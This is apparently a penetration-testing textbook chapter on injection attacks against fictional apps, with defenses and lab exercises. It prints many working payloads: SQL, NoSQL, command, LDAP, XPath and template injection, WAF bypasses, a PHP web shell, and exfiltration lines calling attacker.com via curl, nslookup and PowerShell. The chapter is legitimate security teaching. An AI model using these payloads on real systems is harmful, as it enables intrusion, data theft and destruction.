16 min read

> "Injection flaws, such as SQL injection, occur when untrusted data is sent to an interpreter as part of a command or query. The attacker's hostile data can trick the interpreter into executing unintended commands or accessing data without proper...

Learning Objectives

  • Understand how injection vulnerabilities arise from mixing user data with interpreter commands
  • Perform UNION-based, error-based, blind, and time-based SQL injection attacks
  • Exploit NoSQL injection in MongoDB-based applications
  • Identify and exploit OS command injection vulnerabilities
  • Perform LDAP, XPath, and server-side template injection attacks
  • Use sqlmap and Commix for automated injection testing
  • Implement comprehensive defenses against all injection classes

Chapter 19: Injection Attacks

"Injection flaws, such as SQL injection, occur when untrusted data is sent to an interpreter as part of a command or query. The attacker's hostile data can trick the interpreter into executing unintended commands or accessing data without proper authorization." --- OWASP Top 10

Injection attacks are the most consequential class of web application vulnerability. While they have dropped from the number one position on the OWASP Top 10 to number three in the 2021 edition---a testament to improved framework defaults and developer awareness---they remain responsible for some of the largest data breaches in history. The 2008 Heartland Payment Systems breach exposed 130 million credit card numbers through a single SQL injection vulnerability. The 2015 TalkTalk breach compromised 157,000 customer records. SQL injection alone has been a contributing factor in breaches totaling billions of dollars in damages.

The reason injection attacks are so dangerous is architectural: they exploit the fundamental design decision to construct interpreter commands from user-supplied data. When a web application builds a SQL query by concatenating user input, it is asking the database to treat that input as part of the query language itself. When the application passes user input to a system shell, it is granting the user access to OS commands. The interpreter cannot distinguish between the developer's intended command structure and the attacker's injected code---because at the protocol level, they are identical.

This chapter covers every major injection class you will encounter during web application penetration testing. We begin with SQL injection in all its forms---from the straightforward UNION-based attack to the subtle art of blind injection. We progress to NoSQL injection, which exploits the different but equally dangerous query mechanisms of document databases. We examine OS command injection, where the stakes escalate from data theft to complete server compromise. We conclude with LDAP, XPath, and server-side template injection---less common but no less dangerous when found. Throughout, we apply each technique to ShopStack, MedSecure, and your home lab environments, and we provide the blue team perspective on comprehensive defense.

Legal and Ethical Notice: Every technique in this chapter can cause significant harm if misused. SQL injection can destroy entire databases. Command injection can compromise servers. Perform these attacks only against systems you own or have explicit written authorization to test. Your home lab (DVWA, Juice Shop) is the appropriate environment for practice.


19.1 Injection Theory: Where User Input Meets Interpreters

19.1.1 The Root Cause

All injection vulnerabilities share a single root cause: the application fails to maintain a boundary between data and code when interacting with an interpreter.

An interpreter is any system that receives a string of instructions and executes them. Common interpreters in web applications include:

Interpreter Language Injection Type
SQL database engine SQL SQL injection
MongoDB query engine JSON/JavaScript NoSQL injection
Operating system shell Bash/cmd/PowerShell Command injection
LDAP directory server LDAP filter syntax LDAP injection
XML processor XPath/XQuery XPath injection
Template engine Jinja2/Twig/Freemarker Template injection
Email server SMTP commands Email header injection
Log processor Log format Log injection

In every case, the vulnerability arises when the application constructs an interpreter command by concatenating or interpolating user-supplied data directly into the command string.

19.1.2 The Injection Lifecycle

Every injection attack follows the same lifecycle:

  1. Entry Point Identification: Find where user input reaches an interpreter
  2. Syntax Probing: Determine the interpreter's syntax and how input is embedded
  3. Boundary Breaking: Craft input that breaks out of the intended data context
  4. Payload Delivery: Inject commands that the interpreter will execute
  5. Result Extraction: Retrieve the output of injected commands

19.1.3 Identifying Injection Points in ShopStack

ShopStack's API endpoints accept user input through multiple channels:

# Query parameters
GET /api/v2/products?search=laptop&category=electronics&sort=price

# Path parameters
GET /api/v2/products/42
GET /api/v2/orders/ORD-2026-001

# Request body (JSON)
POST /api/v2/auth/login
{"username": "admin@shopstack.com", "password": "P@ssw0rd123"}

# Request body (form)
POST /api/v2/products/42/reviews
Content-Type: application/x-www-form-urlencoded
title=Great+product&rating=5&body=I+love+this+item

# HTTP headers
Cookie: session=eyJhbGciOiJIUzI1NiJ9...
X-Forwarded-For: 192.168.1.100
Referer: https://shopstack.example.com/products/42

# File upload names
POST /api/v2/products/42/images
Content-Disposition: form-data; name="image"; filename="product.jpg"

Each of these input channels could reach an interpreter. The search parameter reaches the SQL database. The filename might reach the OS file system. JSON body parameters could reach a NoSQL database. Headers might be written to logs.

19.1.4 Injection Indicators

During testing, certain responses indicate potential injection vulnerabilities:

Indicator Meaning
Database error message in response Input reached SQL interpreter
Different response for ' vs '' Application is SQL injectable
500 error on special characters Input parsing failure at interpreter
Behavior change with ; sleep 5 Command injection possible
Different results for 1 OR 1=1 vs 1 OR 1=2 Boolean-based blind injection
Response time difference for SLEEP(5) Time-based blind injection

19.2 SQL Injection Fundamentals

SQL injection (SQLi) is the most studied and most exploited injection type. Despite decades of awareness, it continues to appear in modern applications because developers still construct SQL queries with string concatenation.

19.2.1 Basic SQL Injection

Vulnerable Code in ShopStack:

// VULNERABLE: String concatenation in SQL query
app.get('/api/v2/products', async (req, res) => {
    const search = req.query.search;
    const sql = `SELECT id, name, price, description FROM products
                 WHERE name LIKE '%${search}%' AND active = true`;
    const results = await db.query(sql);
    res.json(results.rows);
});

Normal Request:

GET /api/v2/products?search=laptop

Resulting SQL:

SELECT id, name, price, description FROM products
WHERE name LIKE '%laptop%' AND active = true

Attack: Authentication Bypass

For a login form:

// VULNERABLE login query
const sql = `SELECT * FROM users WHERE username='${username}' AND password='${password}'`;

Input: username = admin' --, password = anything

SELECT * FROM users WHERE username='admin' --' AND password='anything'

The -- comments out the rest of the query, bypassing the password check entirely. The application sees a valid user row returned and grants access.

Attack: Data Extraction via Tautology

Input: search = ' OR '1'='1

SELECT id, name, price, description FROM products
WHERE name LIKE '%' OR '1'='1%' AND active = true

This returns all products, including inactive ones, because '1'='1' is always true.

19.2.2 UNION-Based SQL Injection

UNION-based SQLi is the most powerful form when it works, because it allows direct extraction of arbitrary data from any table in the database.

Requirements for UNION: 1. The UNION query must have the same number of columns as the original query 2. The data types must be compatible (or use NULL) 3. The results must be visible in the response

Step 1: Determine Column Count

Use ORDER BY to find the number of columns:

GET /api/v2/products?search=' ORDER BY 1-- -
GET /api/v2/products?search=' ORDER BY 2-- -
GET /api/v2/products?search=' ORDER BY 3-- -
GET /api/v2/products?search=' ORDER BY 4-- -    (works)
GET /api/v2/products?search=' ORDER BY 5-- -    (error!)

The original query has 4 columns (id, name, price, description).

Step 2: Find Displayable Columns

GET /api/v2/products?search=' UNION SELECT NULL,'test2',NULL,'test4'-- -

If "test2" and "test4" appear in the response, columns 2 and 4 display string data.

Step 3: Extract Database Information

# Database version
GET /api/v2/products?search=' UNION SELECT NULL,version(),NULL,current_database()-- -

# List all tables
GET /api/v2/products?search=' UNION SELECT NULL,table_name,NULL,table_schema FROM information_schema.tables WHERE table_schema='public'-- -

# List columns in users table
GET /api/v2/products?search=' UNION SELECT NULL,column_name,NULL,data_type FROM information_schema.columns WHERE table_name='users'-- -

# Extract user credentials
GET /api/v2/products?search=' UNION SELECT NULL,username,NULL,password_hash FROM users-- -

Step 4: Concatenate Multiple Columns

When you need more data than available display columns:

# PostgreSQL string concatenation
GET /api/v2/products?search=' UNION SELECT NULL,username||':'||email,NULL,role||':'||created_at FROM users-- -

19.2.3 Error-Based SQL Injection

When UNION-based extraction is not possible (results are not displayed), you can force the database to leak information through error messages.

PostgreSQL Error-Based:

# Extract version via error
GET /api/v2/products?search=' AND 1=CAST((SELECT version()) AS int)-- -

Response:

ERROR: invalid input syntax for type integer: "PostgreSQL 15.4 on x86_64-pc-linux-gnu"

MySQL Error-Based (extractvalue):

' AND extractvalue(1,concat(0x7e,(SELECT @@version),0x7e))-- -

MSSQL Error-Based:

' AND 1=CONVERT(int,(SELECT @@version))-- -

19.2.4 Blind SQL Injection (Boolean-Based)

When the application returns no visible data or error messages, but its behavior changes based on query truth value, you can extract data one bit at a time.

The Concept:

The application responds differently for true vs. false conditions:

# TRUE condition - returns normal results
GET /api/v2/products?search=laptop' AND 1=1-- -

# FALSE condition - returns empty results
GET /api/v2/products?search=laptop' AND 1=2-- -

If these responses differ, you can ask true/false questions about the database:

Extract Data Character by Character:

# Is the first character of the admin password hash > 'm'?
GET /api/v2/products?search=laptop' AND (SELECT SUBSTRING(password_hash,1,1) FROM users WHERE username='admin') > 'm'-- -

# Binary search to narrow down each character
# Is it > 's'?  > 'p'?  > 'n'?  etc.

Automated Boolean Extraction Script Logic:

# Pseudocode for blind extraction
extracted = ""
for position in range(1, max_length + 1):
    low, high = 32, 126  # Printable ASCII range
    while low < high:
        mid = (low + high) // 2
        # Inject: AND ASCII(SUBSTRING(target,position,1)) > mid
        if response_indicates_true():
            low = mid + 1
        else:
            high = mid
    extracted += chr(low)

This is tedious manually but highly effective when automated. Each character requires approximately 7 requests (log2(94) printable ASCII characters).

19.2.5 Blind SQL Injection (Time-Based)

When the application returns identical responses for true and false conditions (no visible difference in content, status code, or length), you can use time delays:

PostgreSQL:

# If condition is true, sleep 5 seconds
GET /api/v2/products?search=laptop'; SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END-- -

MySQL:

GET /api/v2/products?search=laptop' AND IF(1=1,SLEEP(5),0)-- -

MSSQL:

GET /api/v2/products?search=laptop'; IF (1=1) WAITFOR DELAY '0:0:5'-- -

Extract Data via Timing:

# Is the first character of admin's password hash 'a'?
GET /api/v2/products?search=laptop' AND IF(
    SUBSTRING((SELECT password_hash FROM users WHERE username='admin'),1,1)='a',
    SLEEP(5),
    0
)-- -

If the response takes 5+ seconds, the condition is true.

Testing Tip: Time-based injection is noisy and slow. Use it as a last resort to confirm injection exists, then try to escalate to error-based or UNION-based techniques. When stuck with time-based, use sqlmap to automate extraction.

19.2.6 Out-of-Band (OOB) SQL Injection

When neither the response content nor timing reveals information, you can make the database send data to an attacker-controlled server:

PostgreSQL:

-- Use COPY or dblink to make external connections
' ; COPY (SELECT password_hash FROM users) TO PROGRAM 'curl http://attacker.com/exfil?data='||password_hash-- -

MySQL:

-- Use LOAD_FILE and INTO OUTFILE
' UNION SELECT LOAD_FILE(CONCAT('\\\\attacker.com\\share\\',@@version))-- -

MSSQL:

-- Use xp_dirtree for DNS exfiltration
'; EXEC master..xp_dirtree '\\attacker.com\share'-- -

OOB techniques require the database server to make external connections, which firewalls may block. They are particularly useful in scenarios where the application is completely silent about query results.

19.2.7 Second-Order SQL Injection

Second-order injection occurs when malicious input is stored safely but later used unsafely in a different query.

Scenario in ShopStack:

  1. User registers with username: admin'-- -
  2. Registration query uses parameterized query (safe): sql INSERT INTO users (username, password_hash) VALUES ($1, $2)
  3. Later, a different feature builds a query using the stored username: javascript // Profile lookup uses string concatenation (VULNERABLE) const sql = `SELECT * FROM user_profiles WHERE username='${user.username}'`;
  4. The stored malicious username breaks the second query: sql SELECT * FROM user_profiles WHERE username='admin'-- -'

Second-order injection is harder to find with automated scanners because the injection point and the execution point are different.


19.3 Advanced SQL Injection Techniques

19.3.1 Stacked Queries

Some database drivers allow multiple SQL statements separated by semicolons:

GET /api/v2/products?search=laptop'; DROP TABLE users;-- -

Database Support:

Database Stacked Queries Notes
PostgreSQL Yes (with most drivers) Full support
MySQL Depends on driver mysqli_multi_query enables it
MSSQL Yes Full support
SQLite Yes Full support
Oracle No Does not support in most contexts

Stacked queries escalate injection from data theft to data destruction or even command execution (via database-specific features like xp_cmdshell in MSSQL or COPY TO PROGRAM in PostgreSQL).

19.3.2 Reading and Writing Files

PostgreSQL:

-- Read files
' UNION SELECT NULL,pg_read_file('/etc/passwd'),NULL,NULL-- -

-- Write files (requires superuser)
' ; COPY (SELECT 'web shell content') TO '/var/www/html/shell.php'-- -

MySQL:

-- Read files
' UNION SELECT NULL,LOAD_FILE('/etc/passwd'),NULL,NULL-- -

-- Write files
' UNION SELECT NULL,'<?php system($_GET["cmd"]); ?>',NULL,NULL INTO OUTFILE '/var/www/html/shell.php'-- -

19.3.3 Command Execution via SQL

PostgreSQL:

-- Using COPY TO PROGRAM (PostgreSQL 9.3+)
'; COPY cmd_output FROM PROGRAM 'id'-- -

-- Using PL/Python (if extension installed)
'; CREATE OR REPLACE FUNCTION cmd(text) RETURNS text AS $$
import subprocess
return subprocess.check_output(args, shell=True).decode()
$$ LANGUAGE plpython3u;
SELECT cmd('id');-- -

MSSQL:

-- Enable and use xp_cmdshell
'; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;-- -
'; EXEC xp_cmdshell 'whoami'-- -

19.3.4 WAF Bypass Techniques for SQLi

When a WAF blocks common SQLi patterns:

Case Manipulation:

SeLeCt instead of SELECT
uNiOn instead of UNION

Comment Insertion:

UN/**/ION SEL/**/ECT
UN%69ON SE%4CECT  -- URL encoding

Alternative Encodings:

%27 for '
%2527 for double-encoded '
char(39) for ' in SQL context

Alternative Functions:

-- Instead of SUBSTRING:
MID(password,1,1)
LEFT(password,1)
RIGHT(LEFT(password,1),1)

-- Instead of ASCII:
ORD(MID(password,1,1))

-- Instead of spaces:
SELECT/**/username/**/FROM/**/users
SELECT%09username%09FROM%09users  (tab characters)

No-Quote Techniques:

-- Using hex encoding for strings
SELECT * FROM users WHERE username=0x61646D696E  -- 'admin' in hex

19.4 NoSQL Injection

As applications adopt NoSQL databases like MongoDB, a new class of injection has emerged. NoSQL injection exploits the query syntax of document databases.

19.4.1 MongoDB Injection Basics

ShopStack might use MongoDB for its product catalog or user session store. MongoDB queries use JSON-like objects:

// Normal MongoDB query
db.users.find({ username: "admin", password: "P@ssw0rd" });

Vulnerable Code:

// Express route using user input directly in MongoDB query
app.post('/api/v2/auth/login', async (req, res) => {
    const user = await db.collection('users').findOne({
        username: req.body.username,
        password: req.body.password
    });
    if (user) {
        res.json({ success: true, token: generateToken(user) });
    } else {
        res.status(401).json({ success: false });
    }
});

Attack: Authentication Bypass via Operator Injection

Instead of sending a string password, send a MongoDB operator:

{
    "username": "admin",
    "password": {"$ne": ""}
}

This translates to:

db.users.find({ username: "admin", password: { $ne: "" } });

The $ne (not equal) operator matches any non-empty password, bypassing authentication.

Other Useful Operators:

Operator Meaning Attack Use
$ne Not equal Bypass equality checks
$gt Greater than Bypass string comparisons
$regex Regular expression Extract data character by character
$exists Field exists Enumerate fields
$where JavaScript expression Execute arbitrary JavaScript
$or Logical OR Bypass conditions

19.4.2 NoSQL Injection for Data Extraction

Using $regex for Blind Extraction:

{
    "username": "admin",
    "password": {"$regex": "^a"}
}

If login succeeds, the password starts with 'a'. Iterate through characters:

{"password": {"$regex": "^a"}}   -> success? Yes
{"password": {"$regex": "^ab"}}  -> success? No
{"password": {"$regex": "^ac"}}  -> success? Yes
{"password": {"$regex": "^ac1"}} -> success? Yes
// Continue until full password extracted

19.4.3 JavaScript Injection via $where

The $where operator executes JavaScript on the server:

{
    "username": {"$where": "this.username == 'admin' && sleep(5000)"}
}

Or more dangerously:

{
    "$where": "function() { return this.role == 'admin'; }"
}

This can be used for time-based blind data extraction or, in severe cases, remote code execution if the MongoDB server allows it.

19.4.4 Defending Against NoSQL Injection

// SECURE: Validate input types before querying
app.post('/api/v2/auth/login', async (req, res) => {
    // Ensure inputs are strings, not objects
    if (typeof req.body.username !== 'string' || typeof req.body.password !== 'string') {
        return res.status(400).json({ error: 'Invalid input type' });
    }

    // Use sanitized string inputs
    const user = await db.collection('users').findOne({
        username: req.body.username,
        password_hash: await bcrypt.hash(req.body.password, storedSalt)
    });
    // ...
});

Additionally, use mongo-sanitize middleware to strip $ operators from user input:

const sanitize = require('mongo-sanitize');
app.use((req, res, next) => {
    req.body = sanitize(req.body);
    req.query = sanitize(req.query);
    next();
});

19.5 Command Injection

Command injection occurs when user input is passed to an operating system shell. The consequences are immediately severe: the attacker can execute arbitrary commands with the privileges of the web application process.

19.5.1 How Command Injection Occurs

Vulnerable ShopStack Feature: PDF Invoice Generation

// VULNERABLE: User input passed to shell command
app.get('/api/v2/orders/:id/invoice', async (req, res) => {
    const orderId = req.params.id;
    const cmd = `wkhtmltopdf https://shopstack.example.com/invoice/${orderId} /tmp/invoice-${orderId}.pdf`;
    exec(cmd, (error, stdout, stderr) => {
        if (error) {
            return res.status(500).json({ error: 'PDF generation failed' });
        }
        res.download(`/tmp/invoice-${orderId}.pdf`);
    });
});

Attack:

GET /api/v2/orders/123;id;cat+/etc/passwd/invoice

The shell executes:

wkhtmltopdf https://shopstack.example.com/invoice/123;id;cat /etc/passwd /tmp/invoice-123;id;cat /etc/passwd.pdf

The semicolons create three separate commands: the original wkhtmltopdf, then id, then cat /etc/passwd.

19.5.2 Command Injection Operators

Different shell metacharacters allow command chaining:

Operator Behavior Example
; Execute sequentially cmd1; cmd2
&& Execute if first succeeds cmd1 && cmd2
\|\| Execute if first fails cmd1 \|\| cmd2
\| Pipe output cmd1 \| cmd2
` Command substitution cmd1 `cmd2`
$()` | Command substitution | `cmd1 $(cmd2)
\n Newline (URL: %0a) cmd1%0acmd2
> Redirect output cmd > /tmp/output

19.5.3 Blind Command Injection

When command output is not returned in the response:

Time-Based Detection:

GET /api/v2/orders/123;sleep+5/invoice

If the response takes 5+ seconds longer than normal, command injection exists.

Out-of-Band Data Exfiltration:

# DNS exfiltration
GET /api/v2/orders/123;nslookup+$(whoami).attacker.com/invoice

# HTTP exfiltration
GET /api/v2/orders/123;curl+http://attacker.com/exfil?data=$(cat+/etc/passwd|base64)/invoice

File-Based Exfiltration:

# Write output to web-accessible directory
GET /api/v2/orders/123;id+>+/var/www/html/static/output.txt/invoice
# Then retrieve: GET /static/output.txt

19.5.4 Windows Command Injection

On Windows targets, the syntax differs:

Operator Behavior
& Execute sequentially
&& Execute if first succeeds
\|\| Execute if first fails
\| Pipe output
` Not available (use PowerShell)

Windows-Specific Payloads:

# Test for injection
ping+-n+5+127.0.0.1

# Read files
type+C:\Windows\System32\drivers\etc\hosts

# PowerShell execution
powershell+-c+"Invoke-WebRequest+http://attacker.com/shell.ps1+|+IEX"

19.5.5 Defending Against Command Injection

Best Defense: Avoid Shell Commands Entirely

// SECURE: Use library functions instead of shell commands
const wkhtmltopdf = require('wkhtmltopdf');

app.get('/api/v2/orders/:id/invoice', async (req, res) => {
    // Validate orderId is numeric
    const orderId = parseInt(req.params.id, 10);
    if (isNaN(orderId) || orderId < 1) {
        return res.status(400).json({ error: 'Invalid order ID' });
    }

    // Use library API, not shell command
    wkhtmltopdf(`https://shopstack.example.com/invoice/${orderId}`)
        .pipe(res);
});

If Shell Commands Are Unavoidable:

const { execFile } = require('child_process');

// execFile does NOT invoke a shell; arguments are passed directly
execFile('wkhtmltopdf', [
    `https://shopstack.example.com/invoice/${orderId}`,
    `/tmp/invoice-${orderId}.pdf`
], (error, stdout, stderr) => {
    // ...
});

execFile passes arguments as an array directly to the executable, bypassing the shell entirely. Shell metacharacters have no special meaning.


19.6 LDAP Injection

LDAP (Lightweight Directory Access Protocol) is used for directory services, commonly Active Directory. Web applications that authenticate against LDAP or search directory services may be vulnerable.

19.6.1 LDAP Query Syntax

LDAP filters use prefix notation with parentheses:

(&(username=admin)(password=secret))

19.6.2 LDAP Injection Attacks

Vulnerable Code:

# VULNERABLE: User input in LDAP filter
ldap_filter = f"(&(uid={username})(userPassword={password}))"
result = ldap_conn.search_s(base_dn, ldap.SCOPE_SUBTREE, ldap_filter)

Authentication Bypass:

username: admin)(&)
password: anything

Resulting filter:

(&(uid=admin)(&))(userPassword=anything))

The (&) always evaluates to true, and LDAP processes only the first complete filter, ignoring the password check.

Wildcard Enumeration:

username: *
password: *

Returns all users in the directory.

Character-by-Character Extraction:

username: admin)(uid=a*
# If login succeeds, admin's uid starts with 'a'

19.6.3 Defending Against LDAP Injection

import ldap
from ldap.filter import escape_filter_chars

# SECURE: Escape special characters in LDAP filter values
safe_username = escape_filter_chars(username)
safe_password = escape_filter_chars(password)
ldap_filter = f"(&(uid={safe_username})(userPassword={safe_password}))"

Special characters that must be escaped: *, (, ), \, NUL.


19.7 XPath Injection

XPath is a query language for XML documents. Applications that store data in XML or process XML responses may use XPath queries.

19.7.1 XPath Injection Basics

Vulnerable Code:

# XML user database
# <users>
#   <user><name>admin</name><pass>secret</pass><role>admin</role></user>
#   <user><name>user1</name><pass>pass123</pass><role>user</role></user>
# </users>

xpath_query = f"//users/user[name='{username}' and pass='{password}']"
result = xml_tree.xpath(xpath_query)

Authentication Bypass:

username: admin' or '1'='1
password: anything' or '1'='1

Resulting query:

//users/user[name='admin' or '1'='1' and pass='anything' or '1'='1']

This matches all user nodes.

Data Extraction: XPath can navigate the entire XML document:

username: admin'] | //user/pass | //user['

19.7.2 Blind XPath Injection

Similar to blind SQLi, extract data character by character:

' or substring(//user[1]/pass, 1, 1)='s' or '1'='2

If the query returns results, the first character of the first user's password is 's'.


19.8 Server-Side Template Injection (SSTI)

Server-side template injection occurs when user input is embedded in a template engine and processed as template code rather than data.

19.8.1 Template Engines and SSTI

Common template engines:

Language Engine SSTI Probe
Python Jinja2 {{7*7}} returns 49
Python Mako ${7*7} returns 49
Java Freemarker ${7*7} returns 49
Java Velocity #set($x=7*7)${x} returns 49
JavaScript Pug/Jade #{7*7} returns 49
JavaScript Handlebars {{7*7}} returns 49 (limited)
PHP Twig {{7*7}} returns 49
Ruby ERB <%= 7*7 %> returns 49

19.8.2 SSTI Detection

Step 1: Probe for Template Processing

Submit mathematical expressions in template syntax:

GET /api/v2/products?search={{7*7}}

If the response contains 49, the application processes template expressions.

Step 2: Identify the Template Engine

Use engine-specific probes:

{{7*'7'}}
  -> Jinja2 returns '7777777' (string multiplication)
  -> Twig returns '49' (arithmetic)

19.8.3 SSTI Exploitation

Jinja2 Remote Code Execution:

# Access Python classes to reach os.system
{{''.__class__.__mro__[1].__subclasses__()}}

# Find subprocess.Popen in the subclass list (index varies)
{{''.__class__.__mro__[1].__subclasses__()[407]('id',shell=True,stdout=-1).communicate()}}

# Common payload
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}

Twig (PHP) Remote Code Execution:

{{['id']|filter('system')}}

Freemarker (Java) Remote Code Execution:

<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}

19.8.4 Defending Against SSTI

# VULNERABLE: User input rendered as template
template = Template(f"Hello {user_input}!")

# SECURE: Pass user input as template variable
template = Template("Hello {{ name }}!")
result = template.render(name=user_input)

The secure approach ensures user input is always treated as data, never as template code. Additionally, use sandboxed template environments where available (e.g., Jinja2's SandboxedEnvironment).


19.9 Automated Injection Tools

19.9.1 sqlmap

sqlmap is the most powerful automated SQL injection tool available. It detects and exploits SQL injection flaws with minimal configuration.

Basic Usage:

# Test a URL parameter
sqlmap -u "https://shopstack.example.com/api/v2/products?search=test" \
    --cookie="session=eyJhbGciOiJIUzI1NiJ9..." \
    --level=3 --risk=2

# Enumerate databases
sqlmap -u "https://shopstack.example.com/api/v2/products?search=test" \
    --dbs

# Dump specific table
sqlmap -u "https://shopstack.example.com/api/v2/products?search=test" \
    -D shopstack -T users --dump

# OS shell (if database supports it)
sqlmap -u "https://shopstack.example.com/api/v2/products?search=test" \
    --os-shell

Key sqlmap Options:

Option Purpose
--level Test thoroughness (1-5, default 1)
--risk Risk of causing damage (1-3, default 1)
--technique Injection techniques: B(oolean), E(rror), U(nion), S(tacked), T(ime), Q(uery)
--dbs Enumerate databases
--tables Enumerate tables
--columns Enumerate columns
--dump Dump table data
--os-shell Spawn an OS shell
--batch Non-interactive mode (use defaults)
--tamper Use tamper scripts for WAF bypass
--proxy Route through Burp for inspection
--random-agent Randomize User-Agent header

sqlmap with Burp Integration:

# Save a Burp request to file, then use it with sqlmap
sqlmap -r burp-request.txt --level=3 --risk=2

# Route sqlmap through Burp for monitoring
sqlmap -u "https://target.com/page?id=1" --proxy="http://127.0.0.1:8080"

sqlmap Tamper Scripts for WAF Bypass:

# Space to comment bypass
sqlmap -u "https://target.com/page?id=1" --tamper=space2comment

# Multiple tamper scripts
sqlmap -u "https://target.com/page?id=1" \
    --tamper=space2comment,between,randomcase,charencode

19.9.2 Commix (Command Injection Exploiter)

Commix automates the detection and exploitation of command injection vulnerabilities:

# Basic test
commix --url="https://shopstack.example.com/api/v2/orders/123/invoice"

# Test specific parameter
commix --url="https://target.com/page" --data="host=127.0.0.1" -p host

# Get a pseudo-terminal shell
commix --url="https://target.com/page?host=127.0.0.1" --os-cmd="id"

19.9.3 Responsible Tool Usage

Critical Ethical Consideration: Automated tools like sqlmap and Commix can cause significant damage. sqlmap with stacked queries enabled might DROP tables. Commix might execute destructive commands. Always: 1. Use --risk=1 initially and escalate only if needed 2. Never use --os-shell or --os-cmd on production systems without explicit authorization 3. Test against your lab environment first 4. Understand what each flag does before using it 5. Monitor tool activity through Burp to understand what it is sending


19.10 Comprehensive Defense Strategy

Blue Team Perspective: Defending against injection requires a layered approach. No single technique is sufficient.

Layer 1: Input Validation

  • Allowlist acceptable input patterns
  • Validate data types, lengths, and ranges
  • Reject input that does not match expected patterns

Layer 2: Parameterized Queries / Safe APIs

  • Use parameterized queries for ALL database interactions
  • Use ORM frameworks with parameterized query support
  • Use execFile instead of exec for system commands
  • Use template variables instead of template string concatenation

Layer 3: Least Privilege

  • Database accounts should have minimum necessary permissions
  • Application should never run as database admin
  • Disable dangerous database features (xp_cmdshell, LOAD_FILE)
  • Web application process should run as a low-privilege user

Layer 4: Web Application Firewall

  • Deploy WAF rules for common injection patterns
  • Use managed rule sets (AWS WAF Core Rule Set, ModSecurity CRS)
  • Monitor and tune rules based on blocked requests

Layer 5: Monitoring and Detection

  • Log all database queries (or at least errors)
  • Alert on SQL error messages in responses
  • Monitor for unusual query patterns (UNION, information_schema)
  • Track response time anomalies (time-based injection)

ShopStack Secure Implementation:

const { body, param, query, validationResult } = require('express-validator');
const { Pool } = require('pg');

const pool = new Pool({
    user: 'shopstack_readonly',  // Least privilege
    // ...
});

app.get('/api/v2/products',
    // Layer 1: Input validation
    query('search').isString().trim().isLength({ min: 1, max: 100 })
        .matches(/^[a-zA-Z0-9\s\-]+$/),
    query('page').optional().isInt({ min: 1, max: 1000 }),
    query('limit').optional().isInt({ min: 1, max: 100 }),

    async (req, res) => {
        // Validate
        const errors = validationResult(req);
        if (!errors.isEmpty()) {
            return res.status(400).json({ errors: errors.array() });
        }

        // Layer 2: Parameterized query
        const { rows } = await pool.query(
            'SELECT id, name, price, description FROM products WHERE name ILIKE $1 AND active = true ORDER BY name LIMIT $2 OFFSET $3',
            [`%${req.query.search}%`, req.query.limit || 20, ((req.query.page || 1) - 1) * (req.query.limit || 20)]
        );

        res.json(rows);
    }
);

19.11 Testing Injection in MedSecure

The MedSecure patient portal presents heightened injection risk due to data sensitivity:

Critical Injection Points: 1. Patient Search: Searching by name, ID, or date of birth---potential SQLi 2. Lab Results Query: Filtering by date range, test type---potential SQLi 3. Report Generation: PDF report generation---potential command injection 4. FHIR API: XML-based healthcare data exchange---potential XPath/XXE 5. Audit Log Query: Searching audit logs by date, user, action---potential SQLi

Impact Assessment: - SQL injection in patient search could expose Protected Health Information (PHI) for all patients - Command injection in report generation could compromise the entire server - LDAP injection against Active Directory could expose all staff credentials

Testing Approach: 1. Map all input points with Burp Suite 2. Test each point with injection probes 3. Document any vulnerability with minimal data exposure 4. Report immediately given HIPAA implications


19.12 Lab Exercises: Injection Practice

Home Lab Setup

DVWA SQL Injection: 1. Navigate to DVWA > SQL Injection 2. Set security to "Low" 3. Enter 1' OR '1'='1 in the User ID field 4. Observe all users returned 5. Perform UNION-based extraction of the users table 6. Increase security to "Medium" and "High" and adapt techniques

Juice Shop NoSQL Injection: 1. Navigate to the login page 2. Intercept the login request with Burp 3. Change the request body to include MongoDB operators 4. Attempt authentication bypass

Custom Lab: Command Injection Use the provided example-02-command-injection-demo.py Flask application: 1. Run the application locally 2. Test the vulnerable endpoint with shell metacharacters 3. Achieve command execution 4. Switch to the secure endpoint and verify the fix


19.13 Summary

Injection attacks exploit the most fundamental weakness in web application design: the failure to separate user data from interpreter commands. Every injection type---SQL, NoSQL, command, LDAP, XPath, template---follows the same pattern: user input crosses a trust boundary and is treated as code by an interpreter.

Key Takeaways:

  • SQL injection remains the most impactful injection type, with techniques ranging from simple UNION-based extraction to sophisticated blind and out-of-band methods.
  • NoSQL injection exploits the query operator syntax of document databases like MongoDB. Always validate input types, not just values.
  • Command injection escalates immediately to server compromise. Never pass user input to shell commands; use safe APIs instead.
  • SSTI, LDAP, and XPath injection are less common but equally dangerous when found. Always probe for template processing and directory service injection.
  • Defense is layered: Input validation, parameterized queries, least privilege, WAF, and monitoring must all work together.
  • Automated tools (sqlmap, Commix) are powerful but must be used responsibly. Understand what they do before deploying them against any target.

In Chapter 20, we move to the client side with cross-site scripting (XSS) and related attacks. While injection attacks target the server, XSS targets other users---making it the perfect complement to the server-side techniques you have just learned.


Chapter 19 References

  1. OWASP Foundation. "SQL Injection." https://owasp.org/www-community/attacks/SQL_Injection
  2. Clarke, J. SQL Injection Attacks and Defense, 2nd Edition. Syngress, 2012.
  3. PortSwigger. "SQL Injection Cheat Sheet." https://portswigger.net/web-security/sql-injection/cheat-sheet
  4. sqlmap Project. "sqlmap Documentation." https://sqlmap.org/
  5. OWASP Foundation. "Testing for NoSQL Injection." https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05.6-Testing_for_NoSQL_Injection
  6. Commix Project. "Commix Documentation." https://commixproject.com/
  7. PortSwigger. "Server-Side Template Injection." https://portswigger.net/web-security/server-side-template-injection
  8. Stammberger, K. "Heartland Payment Systems: Lessons Learned." SANS Institute, 2009.
  9. OWASP Foundation. "Injection Prevention Cheat Sheet." https://cheatsheetseries.owasp.org/cheatsheets/Injection_Prevention_Cheat_Sheet.html